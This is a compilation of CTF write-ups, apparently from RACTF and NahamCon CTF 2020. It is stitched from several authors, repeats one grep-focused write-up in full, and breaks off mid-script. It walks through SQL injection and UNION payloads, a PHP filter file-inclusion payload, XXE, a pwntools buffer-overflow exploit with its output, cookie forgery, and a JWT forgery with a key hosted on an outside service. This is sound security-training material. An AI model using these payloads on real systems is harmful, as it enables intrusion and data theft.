But the file` http://url/backup.txt` unexist
However, there is a `robots.txt` file:```User-Agent: *Disallow: /adminDisallow: /wp-adminDisallow: /admin.phpDisallow: /static```
And in `static` directory, there is the file `backup.txt` (`http://url/static/backup.txt`):```develop developerBackupCode4321
Make sure to log out after using!
TODO: Setup a new password manager for this```
The flag is: `ractf{developerBackupCode4321}`
## Baiting```That user list had a user called loginToGetFlag. Well, what are you waiting for?```
We have to log in with unername `loginToGetFlag` but we can't guess the password, so we must try SQL injection
With `'` as username, the website return an error page:``` pythonTraceback (most recent call last): File "/srv/raro/main.py", line 130, in index cur.execute("SELECT algo FROM users WHERE username='{}'".format(sqlite3.OperationalError: unrecognized token: "'''"```
Here the SQL query is `SELECT algo FROM users WHERE username=''' [...]` and crash because an `'` isn't closed
With `loginToGetFlag' --` as username, the query is `SELECT algo FROM users WHERE username='loginToGetFlag' -- ' [...]`
It select the user `loginToGetFlag` and ignore the end of the query after `--`
Finally, we are logged as `loginToGetFlag` and we can read the flag: `ractf{injectingSQLLikeNobody'sBusiness}`
## Admin Attack```Looks like we managed to get a list of users.That admin user looks particularly interesting, but we don't have their password.Try and attack the login form and see if you can get anything.```
Like the **Baiting** challenge, we still use the SQL injection but we can't use the same method
With `' OR 1=1 LIMIT 1 --` as username, we are logged as the first user (`xxslayer420`) in table `users`
With `' OR 1=1 LIMIT 1,1 --` as username, we are logged as the second user which is `jimmyTehAdmin` and the flag `ractf{!!!4dm1n4buse!!!}` is show
The table `users` seems to look like:
id | username | role---|----------|-------0 | xxslayer420 | user1 | jimmyTehAdmin | admin2 | loginToGetFlag | user (show flag of **Baiting** chall)3 | pwnboy | user4 | 3ht0n43br3m4g | user5 | pupperMaster | user6 | h4tj18_8055m4n | user7 | develop | developer (show flag of **Entrypoint** chall)
The flag is: `ractf{!!!4dm1n4buse!!!}`
## Xtremely Memorable Listing```We've been asked to test a web application, and we suspect there's a file they used to provide to search engines, but we can't remember what it used to be called.Can you have a look and see what you can find?```
The title of the challenge let think that an XML file is hidden somewhere...
Search engines can read the robots.txt file, and after search a documentation about it (https://moz.com/learn/seo/robotstxt), we can learn the existence of the `Sitemap` rule which requiered an XML file.
The default path of the sitemap file is `http://url/sitemap.xml`, and this file exist on the website:``` XML
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> </urlset> ```
We can go check the backup sitemap at `http://url/sitemap.xml.bak`:``` XML
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> <url> <loc>https://fake.site/_journal.txt</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url></urlset>```
And then `http://url/_journal.txt`:```[...]Dear diary,Today some strange men turned up at my door. They startedshouting at me and one of them pul- ractf{4l13n1nv4s1on?}[...]```
The flag is: `ractf{4l13n1nv4s1on?}` |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
Cookie named 'cart' is an nodejs json deserialization vulnerability injection point.Because of node-serialize's RCE vulnerability, we can do Remode Code Execution.
But we cannot get the feedback of command execution. Thanks to server side error feed-back, we can get the output with error-based command injection.
Attack with backtick(``) in bash sub command |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
# NahamCon CTF 2020
## Dangerous
> 75>> Hey! Listen! >> Connect here:> `nc jh2i.com 50011`>> [`dangerous`](dangerous)
Tags: _pwn_ _x86-64_ _rop_ _bof_
## Summary
Classic buffer overflow -> win function.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Some mitigations in place. Ripe for buffer overflow and ROP.
### Decompile with Ghidra
Normally I'd decompile with Ghidra, search for any vulnerabilities, and use math to figure out payloads; but then decided to let pwntools do all the work for me (something new to try, to learn). Well, mostly.
> I already have [examples](https://github.com/datajerk/ctf-write-ups/blob/master/sharkyctf2020/giveaway0/README.md) of how this exploit works, I just didn't want to write another one exactly like it.
This binary is stripped of symbols, so you'll have to look at each function, and in no time you'll find a `win` function:
```cvoid FUN_0040130e(void)
{ char local_218 [524]; int local_c; local_c = open("./flag.txt",0); read(local_c,local_218,0x200); close(local_c); puts(local_218); return;}```
Next use cyclic to check for a buffer overflow:
```bash# cyclic 1000 | ./dangerous
...
Segmentation fault```
Right, using tips from [HSCTF 7: pwnagotchi (Pwn)](https://dystopia.sg/hsctf-pwnagotchi/), see if pwntools can just do all the work for me.
## Exploit
```python#!/usr/bin/python3
from pwn import *
p = process('./dangerous')
p.recvuntil('What\'s your name?')p.sendline(cyclic(1024,n=8))p.wait()core = p.corefilep.close()os.remove(core.file.name)padding = cyclic_find(core.read(core.rsp, 8),n=8)
payload = padding * b'A'payload += p64(0x40130e)
p = remote('jh2i.com', 50011)p.recvuntil('What\'s your name?')p.sendline(payload)p.stream()```
Yep, pwntools can find the return address with automated core file analysis. All that is needed is the address of `FUN_0040130e` (`0x40130e`) as the payload for the return address.
> I probably should have had pwntools find `flag.txt`, then find the enclosing function to dynamically return the address of the `win` function. For the next CTF...
Output:
```bash# ./exploit.py[+] Starting local process './dangerous': pid 30324[*] Process './dangerous' stopped with exit code -11 (SIGSEGV) (pid 30324)[+] Parsing corefile...: Done[*] '/pwd/datajerk/nahamconctf2020/dangerous/core.30324' Arch: amd64-64-little RIP: 0x40130d RSP: 0x7ffda1480ab8 Exe: '/pwd/datajerk/nahamconctf2020/dangerous/dangerous' (0x401000)[+] Opening connection to jh2i.com on port 50011: Done
It's dangerous to go alone! Take this, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA █ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███████ █ ███ █ ███ ███ ███
flag{legend_of_zelda_overflow_of_time}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA```
Nope, that won't do, need the full glory of full color:
 |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
